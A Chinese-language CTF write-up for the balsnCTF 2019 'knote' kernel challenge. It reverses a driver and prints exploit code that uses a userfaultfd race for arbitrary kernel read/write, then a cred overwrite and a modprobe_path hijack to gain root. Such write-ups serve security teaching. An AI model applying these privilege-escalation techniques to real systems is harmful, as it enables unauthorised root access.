复现一下balsnCTF 2019 knote,利用到了缺页中断时的条件竞争来修改堆块的size造成溢出,从而实现任意地址读写。
题目描述
驱动程序note.ko,使用IDA打开,没有我们熟悉的ioctl函数,先从init_module开始看,这里函数返回了一个misc_register(&unk_620):1
2
3
4
5
6__int64 init_module()
{
_fentry__();
qword_B40 = (__int64)&unk_B60;
return misc_register(&unk_620);
}
这个函数的作用是注册一个miscellaneous device,这个device的结构是struct miscdevice * misc,可以看一下这个结构体的组成:1
2
3
4
5
6
7
8
9
10
11
12//https://elixir.bootlin.com/linux/v5.1.9/source/include/linux/miscdevice.h#L65
struct miscdevice {
int minor;
const char *name;
const struct file_operations *fops;
struct list_head list;
struct device *parent;
struct device *this_device;
const struct attribute_group **groups;
const char *nodename;
umode_t mode;
};
那么对应到程序中,我们可以再IDA里对应到结构体中的成员:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21.data:0000000000000620 unk_620 db 0Bh ; DATA XREF: init_module+5↑o
.data:0000000000000620 ; cleanup_module+5↑o //minor
.data:0000000000000621 db 0
.data:0000000000000622 db 0
.data:0000000000000623 db 0
.data:0000000000000624 db 0
.data:0000000000000625 db 0
.data:0000000000000626 db 0
.data:0000000000000627 db 0
.data:0000000000000628 dq offset aNote ; "note" //name
.data:0000000000000630 dq offset unk_680
.data:0000000000000638 align 80h
.data:0000000000000680 unk_680 db 0 ; DATA XREF: .data:0000000000000630↑o //fops
.data:0000000000000681 db 0
.data:0000000000000682 db 0
.data:0000000000000683 db 0
.data:0000000000000684 db 0
.data:0000000000000685 db 0
.data:0000000000000686 db 0
.data:0000000000000687 db 0
.data:0000000000000688 db 0
fops是一个file_operations结构,这个数据结构的具体定义如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19//https://elixir.bootlin.com/linux/v5.1.9/source/include/linux/fs.h#L1785
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iopoll)(struct kiocb *kiocb, bool spin);
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *);
__poll_t (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); //unk_680
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
unsigned long mmap_supported_flags;
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
... ...
在IDA里可以看到,unk_680是fops的起始地址,从unk_680到unk_6D0数据均为0,在unk_6D0处有一个函数指针,偏移正好是unlocked_ioctl,同样我们也可以得到open的函数指针。1
2.data:00000000000006D0 dq offset unlocked_ioctl
.data:00000000000006F0 dq offset open
unlocked_ioctl与ioctl存在区别,资料来源于这里,unlocked_ioctl不使用linux内核提供的全局同步锁,并且所有原语必须由模块作者实现,那就是说可能存在条件竞争。
程序逻辑应该都在unlocked_ioctl这个函数里面了,可以看到,根据参数的不同,参数有-253,-254,-255和-256,程序提供了4个功能,比较容易判断的是-254,这个是show note的功能,因为有一个copy_to_user,-253是clean note,因为它有一个循环的清空操作,-256是一个add note操作,因为开始有一个循环操作,在全局数组中寻找为空的数组,这和我们做的应用层的堆的题目是类似的。包括参考网上的博客以及利用F5反编译出的伪代码,我们可以得到程序中涉及到的两个结构体,一个是note自身的结构体note,另外一个是进行交互时的参数的结构体args:1
2
3
4
5
6
7
8
9
10
11
12
13
1400000000 note struc ; (sizeof=0x20, mappedto_3)
00000000 key dq ?
00000008 length dq ?
00000010 contentPtr dq ?
00000018 content db 8 dup(?)
00000020 note ends
00000020
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 args struc ; (sizeof=0x18, mappedto_4)
00000000 idx dq ?
00000008 length dq ?
00000010 userptr dq ?
00000018 args ends
首先看一下add note的功能,首先遍历notes数组,找到一个空的地址,最多允许申请16个note。如果找到一个空的地址,就跳出循环,分配到这个空间用来存储note结构体及content。但是contentPtr做了一个操作,将contentPtr减去了page_offset_base,它的content是每个字节都要与key进行异或,然后保存在content中。
存入到note中的content都要先逐字节与key进行异或,然后保存,key的值定义如下,current_task是一个task_struct结构,它的0x7E8偏移是current_task->mm,mm是一个mm_struct结构,它的80字节偏移处current_task.mm->pgd。同样后面的show note是输出之前content与key异或,然后输出真实的content,edit note也是edit之后与key进行异或,然后存储在相应的分配的空间中。content最大长度限制在0x100字节。1
new_note->key = *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 0x7E8) + 80LL)
然后是edit note,利用索引找到对应的note,然后将contentPtr与page_offset_base相加,取得真正的contentPtr,然后定位到content,edit之后再与key进行异或然后存储到contentPtr指向的空间中。
show note就是contentPtr与page_offset_base相加之后,获得真正的contentPtr,然后与key异或后,最后输出。
clean note将所有的note清空。
调试过程中遇到的错误
1 | ~ $ uname -a |
在/initramfs/etc/init.d中修改为root权限:1
setsid cttyhack setuidgid 0 sh
修改run.sh,关闭地址随机化,将kaslr修改为nokaslr:1
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr'
因为文件系统修改之后重新打包会出现错误:1
2
3
4
5
6
7
8
9
10
11
12
13
14ubuntu@ubuntu:~/kernel/pwn/balsnCTF_knote$ ./run.sh
mount: you must be root
mount: you must be root
mount: you must be root
/etc/init.d/rcS: line 8: can't create /proc/sys/kernel/dmesg_restrict: nonexistent directory
/etc/init.d/rcS: line 9: can't create /proc/sys/kernel/kptr_restrict: nonexistent directory
insmod: can't insert 'note.ko': Operation not permitted
chmod: /dev/note: No such file or directory
cttyhack: can't open '/dev/ttyS0': No such file or directory
setuidgid: setgroups: Operation not permitted
poweroff: Operation not permitted
can't open /dev/tty4: No such file or directory
can't open /dev/tty3: No such file or directory
can't open /dev/tty2: No such file or directory
我的解决方式是去查看/bin/busybox的权限,发现即使我改了initramfs的权限为777之后,子文件夹的权限仍然没有变化,因此我将/bin/busybox的权限修改为777,另外,与其他内核题不相同,我见到的init文件都是放在文件系统根目录下,但这个题目根目录下的init文件是空的,真正的在./etc/init.d/rcS文件中,我也修改了这个文件的权限是777,还在rcS文件中修改了/bin/busybox的权限为777。另外,打包脚本我之前放在了文件系统外,后来我把它移到了文件系统中。各个方面共同作用,这样就可以正常启动了。
利用过程
整个利用过程涉及到以下知识,首先contentPtr相加的那个page_offset_base涉及到的知识。
mmap内存映射
mmap将一个文件或其他对象映射到进程的地址空间,实现磁盘地址与进程空间一段虚拟地址的映射,进程可以采用指针的方式对这块内存进行读写操作。在调用mmap创建匿名映射页之后,在对这块内存进行访问之前,这块虚拟地址区域还没有关联到物理地址空间中。当进程对这块内存进行访问时,通过查询页表,发现这段地址不在物理页面上,只是建立了地址映射,引发缺页异常。内核将缺少的页面从磁盘装入主存中,之后进程可以对这片主存进行读写操作,一定时间后系统将修改的页面回写到对应的磁盘地址,从而写入文件。
userfaultfd
userfaultfd机制可以让用户来处理缺页异常,可以自定义缺页处理函数,这是官方文档。自定义缺页处理函数包含三个步骤:1
2
31.使用ioctl创建一个userfaultfd文件描述符uffd,
2.使用ioctl_userfaultfd中的UFFDIO_REGISTER选项注册一个监视区域,
3.创建一个线程监视和处理缺页异常
首先需要创建一个userfaultfd文件描述符uffd,后续对缺页的处理需要使用ioctl来对这个uffd进行操作,ioctl_userfaultfd的作用就是在用户空间创建一个文件描述符用于缺页异常处理。ioctl_userfaultfd有 UFFDIO_API,UFFDIO_REGISTER和UFFDIO_UNREGISTER等选项,具体可以看官方文档,这道题目中用到了使用UFFDIO_REGISTER注册一个监视区域,当这个区域发生缺页异常时,就使用UFFDIO_copy来向缺页的区域拷贝数据。具体代码如下,来自参考的exp。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37void register_userfault()
{
struct uffdio_api ua;
struct uffdio_register ur;
pthread_t thr;
//创建并返回一个uffd文件描述符
uint64_t uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("ioctl-UFFDIO_API");
// create the user fault fd
//mmap申请一块内存用户缺页异常的监视区域
if (mmap(FAULT_PAGE,0x1000,7,0x22,-1,0) != FAULT_PAGE)
errExit("mmap fault page");
// create page used for user fault
//初始化uffdio_register结构体
ur.range.start = (unsigned long)FAULT_PAGE; //监视页面起始地址
ur.range.len = 0x1000; //监视页面大小
ur.mode = UFFDIO_REGISTER_MODE_MISSING; //跟踪缺少页面上的页面错误
//注册监视区域
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("ioctl-UFFDIO_REGISTER");
// register the page into user fault fd
// so that if copy_from_user accesses FAULT_PAGE,
// the access will be hanged, and uffd will receive something
//创建线程监视和处理缺页异常
int s = pthread_create(&thr,NULL,handler,(void*)uffd);
if(s!=0)
errExit("pthread_create");
// create handler that process the user fault
}
缺页异常处理函数如下,在该函数中将note清空,并重新创建了大小为0的note0和note1,并将buffer的第八个字节设置为0xf0,然后将buffer的数据拷贝至FAULT_PAGE。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53void* handler(void *arg)
{
struct uffd_msg msg; //用于存储uffd读取到的信息
uintptr_t uffd = (uintptr_t)arg; //save poll uffd information
puts("[*] handler created");
//poll need to create struct pollfd
struct pollfd pollfd; //轮询操作需要创建一个struct pollfd
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd,1,-1);
if (nready != 1)
errExit("wrong poll return value");
// this will wait until copy_from_user is called on FAULT_PAGE
printf("trigger! I'm going to hang\n");
// now main thread stops at copy_from_user function
// but now we can do some evil operations!
reset(); //清空note
create(buffer, 0); //创建note0,大小为0x0
create(buffer, 0); //创建note1,大小为0x0
// original memory: note struct + 0x10 buffer
// current memory: note0 struct + note1 struct
// therefore, size field of note1 can be tampered
//读取uffd的信息
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
errExit("error in reading uffd_msg");
// read a msg struct from uffd, although not used
struct uffdio_copy uc; //UFFDIO_copy需要创建一个struct uffdio_copy
//
memset(buffer, 0, sizeof(buffer));
buffer[8] = 0xf0; // notes[1].size = 0xf0
// because LSB of xor key is always 0
// so we can rewrite the size of note1 like this
//初始化struct uffdio_copy
uc.src = (uintptr_t)buffer; //copy的源地址
uc.dst = (uintptr_t)FAULT_PAGE; //拷贝至监视区域
uc.len = 0x1000;
uc.mode = 0;
//将buffer中的数据拷贝至FAULT_PAGE
ioctl(uffd, UFFDIO_COPY, &uc);
// resume copy_from_user with buffer as data
puts("[*] done 1");
// now note1 has length 0xf0
return NULL;
}
利用过程使用了两种方法,覆写cred结构体和修改modrpobe_path,exp参考了r3kapig的exp。
覆写cred结构体
首先创建一个note0,大小为0x0,然后注册自定义的userfaultfd,开始轮询处理FAULT_PAGE的缺页异常。此时edit note0,因为edit的数据在FAULT_PAGE中,因此长生缺页异常,执行缺页异常处理程序。在缺页异常处理程序中将note清空,并重新创建了note0和note1,并将FAULT_PAGE的第8个字节设置为0xf0(buffer拷贝至FAUT_PAGE)。缺页异常处理完成后,此时edit note0,将FAULT_PAGE的数据拷贝至note0中,但因为在缺页异常处理中note0的size已经从0x10变为0x0,因此note0的buf的位置是note1的key的位置,那么buffer[8]就是note1的length所在的位置,buffer[8]=0xf0,即将note1的length修改为0xf0。1
2
3
4init();
create(buffer, 0x10);
register_userfault();
edit(0, FAULT_PAGE, 1);
note1的buf为空,长度为0xf0,因此show note1的时候输出的是key的值,这样就可以泄露key值。1
2show(1, buffer);
uintptr_t key = *(uintptr_t*)buffer;
此时再申请一个大小为0的note2,其实到现在我们已经有了任意地址读写的能力,因为note1的大小被修改为0xf0,通过编辑note1就可以修改note2的contentPtr的地址,然后通过show note2来泄露地址,注意这里要将想泄露的地址与key进行异或,然后再写入note1,因为edit里有一个异或加密操作。通过edit note2可以进行写操作。
首先show note1,note1的contentPtr所指向的地址就是note2的开头,那么note1所泄露的内容的偏移0x10处,存储着note2的contentPtr的地址,这样就泄露了contentPtr的地址。利用这个地址可以得到module_base。1
2intptr_t data_off = *(uintptr_t*)(buffer + 0x10) ^ key;
intptr_t module_base = data_off - 0x2568;
在IDA里也可以看到,程序存储的contentPtr的地址其实是real contentPtr + page_offset_base的地址,所以需要加上page_offset_base,才是真正的contentPtr。page_offset_base如何得到呢?在程序中通过以下指令获得page_offset_base,这条指令的过程其实是mov r12,[rip+offset],在运行到这条指令时,rip其实是module_base+0x1fe,offset存储在module_base+0x1fa处。1
.text:00000000000001F7 mov r12, cs:page_offset_base
通过前面的步骤我们泄露的module_base可以将note2的contentPtr修改为(module_base+0x1fa)^key,然后再show note2,这样我们就能泄露这个offset的值。1
2
3
4
5
6
7
8
9
10
11intptr_t page_base_off = module_base + 0x1fa;
printf("page_base_off: 0x%lx\n",page_base_off);
uintptr_t* fake_note = (uintptr_t*)buffer;
fake_note[0] = 0 ^ key;
fake_note[1] = 4 ^ key;
fake_note[2] = page_base_off ^ key;
edit(1, buffer, 0x18);
int32_t rip_to_page_base;
show(2, (char*)&rip_to_page_base);
printf("rip_to_page_base=0x%x\n", rip_to_page_base);
得到了这个offset的值为rip_to_page_base,然后将note2的contentPtr修改为(rip+rip_to_page_base)^key,注意此时的rip是module_base+0x1fe,然后show note2来得到真正的page_offset_base。1
2
3
4
5
6
7
8page_base_off = module_base + 0x1fe + rip_to_page_base;
printf("page_base_off=0x%lx\n", page_base_off);
fake_note[1] = 8 ^ key;
fake_note[2] = page_base_off ^ key;
edit(1, buffer, 0x18);
uintptr_t base_addr;
show(2, (char*)&base_addr);
printf("base_addr=0x%lx\n", base_addr);
此时,我们得到了page_offset_base,就可以进行任意地址写了。首先泄露cred的地址,利用之前ret2dir用到的task_struct的一个成员char comm[TASK_COMM_LEN],可以使用prctl函数进行修改为自定义的长度为16个字节的字符串:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18//http://man7.org/linux/man-pages/man2/prctl.2.html
int prctl(int option, unsigned long arg2, unsigned long arg3,unsigned long arg4, unsigned long arg5);
PR_SET_NAME (since Linux 2.6.9)
Set the name of the calling thread, using the value in the
location pointed to by (char *) arg2. The name can be up to
16 bytes long, including the terminating null byte. (If the
length of the string, including the terminating null byte,
exceeds 16 bytes, the string is silently truncated.) This is
the same attribute that can be set via pthread_setname_np(3)
and retrieved using pthread_getname_np(3). The attribute is
likewise accessible via /proc/self/task/[tid]/comm, where tid
is the name of the calling thread.
//https://elixir.bootlin.com/linux/v4.4.110/ident/TASK_COMM_LEN
/* Task command name length */
利用任意地址读来寻找这个字符串,它的前一个成员就是cred结构体,cred结构体前面是real cred结构体,通常情况下它们的值是一样的,从而爆破出cred结构体所在地址。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22if (prctl(PR_SET_NAME, "ChineseAuxyTQL") < 0)
errExit("prctl set name failed");
uintptr_t* task;
size_t off;
for (off = 0;; off += 0x100)
{
fake_note[0] = 0 ^ key;
fake_note[1] = 0xff ^ key;
fake_note[2] = off ^ key;
edit(1, buffer, 0x18);
memset(buffer, 0, 0x100);
show(2, buffer);
task = (uintptr_t*)memmem(
buffer, 0x100, "ChineseAuxyTQL", 14);
//comm,cred,real cred
if (task != NULL)
{
printf("[*] found: %p 0x%lx 0x%lx\n", task, task[-1], task[-2]);
if (task[-1] > 0xffff000000000000 && task[-2] > 0xffff000000000000)
break;
}
}
task[-1]是cred结构体,task[-2]是real cred结构体,然后修改cred结构体的成员uid~fsgid为0,一共修改8个成员,uid是cred结构体的第四个成员,注意这里要将目标地址减去page_offset_base,从而提权成功。这里也可以修改task[-1],也就是cred结构体,也可以提权成功。1
2
3
4
5
6
7
8
9
10
11
12
13
14//real_cred 's uid ~ fsgid
fake_note[0] = 0 ^ key;
fake_note[1] = 0x20 ^ key;
fake_note[2] = (task[-2] + 4 - base_addr) ^ key;
edit(1, buffer, 0x18);
// calculate offset to cred, set it to note2
int fake_cred[8];
memset(fake_cred, 0, sizeof(fake_cred));
edit(2, (char*)fake_cred, 0x20);
// write uid~fsgid to 0, get root shell
char* args[2] = {"/bin/sh", NULL};
execv("/bin/sh", args);
execv函数会停止当前的进程,并以program进程替换被体制执行的进程,进程ID不会变化。函数原型如下,argv数组的第一个参数应该是program程序名,最后一个参数是NULL。1
int execv(const char *program, char *const argv[]); //#include <unistd.h>
modprobe_path
与覆写cred结构体不同的是,在泄露page_offset_base之后,还需要泄露kernel_base,泄露kernel_base与泄露page_offset_base类似,同样读取某条指令的地址偏移。比如利用module_base+0x6c处的指令。1
.text:000000000000006C call _copy_from_user
call指令的偏移量的计算方式是目标地址-call指令下一条指令的地址。我们首先将note2的contentPtr修改为module_base+0x6c+1,这里存储了偏移量,然后show note2读取到这个偏移量。读取到偏移量之后再加上call指令下一条指令的地址,得到的地址就是copy_from_user的地址。然后得到kernel_base,这里说一下我们前面泄露的module_base,也包括我们前面泄露到的地址,都是通过note2->contentPtr泄露到的,因为无论是add、edit还是show,程序中的contentPtr减去了page_offset_base,所以我们前面得到的module_base加上base_addr才是真正的模块加载基址。但为什么在进行泄露kernel_base之前就求出了真实的module_base了呢,导致后面泄露的时候fake_note[2]还需要减去base_addr,泄露完之后直接在copy_from_user里加上module_base和base_addr不就好了嘛。但是很玄学的一个问题,再泄露完rip_copy_from_user之后再一起求和得到copy_from_user的结果是错误的,此时module_base+base_addr的结果和在前面输出的结果不一样,很玄学的问题,终于明白为什么我参考的exp里是先将module_base计算好然后再泄露kernel_base了。1
2
3
4
5
6
7
8
9
10
11
12
13
14 module_base = module_base + base_addr;
//leak kernel base
uintptr_t copy_from_user_off = module_base + 0x6c + 1;
fake_note[0] = 0 ^ key; //note2->key = 0
fake_note[1] = 8 ^ key; //leak addr 64 bites
fake_note[2] = (copy_from_user_off - base_addr) ^ key;
edit(1,buffer,0x18);
int32_t rip_copy_from_user;
show(2,(char*)&rip_copy_from_user);
printf("rip_copy_from_user=0x%x\n",rip_copy_from_user);
//printf("module_base=0x%lx\n",module_base);
unsigned long copy_from_user = module_base + 0x71 + rip_copy_from_user;
printf("copy_from_user=0x%lx\n",copy_from_user);
泄露kernel_base的命令,终于知道怎么知道泄露的函数的地址与真实内核基址的偏移怎么得到了,我每次都是在gdb里尝试,如果不能访问再增加一些,通过startup_64可以泄露:1
2
3
4/ # cat /proc/kallsyms | grep startup_64
ffffffff81000000 T startup_64 //kernel base
ffffffff81000030 T secondary_startup_64
ffffffff810001f0 T __startup_64
对应exp部分就是:1
2uintptr_t kernel_base = copy_from_user - 0x353e80;
printf("kernel_base=0x%lx\n",kernel_base);
泄露内核基址之后计算得到modprobe_path的地址,然后利用一个错误的elf程序触发modprobe:1
2/ # cat /proc/kallsyms | grep modprobe_path
ffffffff8205e0e0 D modprobe_path
有毒啊,我自己写的就会导致重启,使用别人没有修改的exp就可以读取flag,哎,利用cred也是这样。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23unsigned long kernel_base = copy_from_user - (0xae553e80-0xae200000);
printf("kernel_base = 0x%lx\n", kernel_base);
//hijack modprobe_path
unsigned long modprobe_path = kernel_base + (0xb1c5e0e0 - 0xb0c00000);
printf("modprobe_path = %lx\n", modprobe_path);
char *buf = malloc(0x50);
memset(buf, '\x00', 0x50);
strcpy(buf, "/home/note/copy.sh\0");
fake_note[0] = 0 ^ key;
fake_note[1] = 0x20 ^ key;
fake_note[2] = (modprobe_path - base_addr) ^ key;
edit(1, buffer, 0x18);
edit(2, buf, 20);
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/note/flag\n/bin/chmod 777 /home/note/flag' > /home/note/copy.sh");
system("chmod +x /home/note/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/note/dummy");
system("chmod +x /home/note/dummy");
system("/home/note/dummy");
system("cat flag");
getchar();
参考
https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/krazynote.c
https://www.jianshu.com/p/a70a358ec02c
https://pr0cf5.github.io/ctf/2019/10/10/balsn-ctf-krazynote.html
http://man7.org/linux/man-pages/man2/userfaultfd.2.html
https://www.jianshu.com/p/c3afc0f02560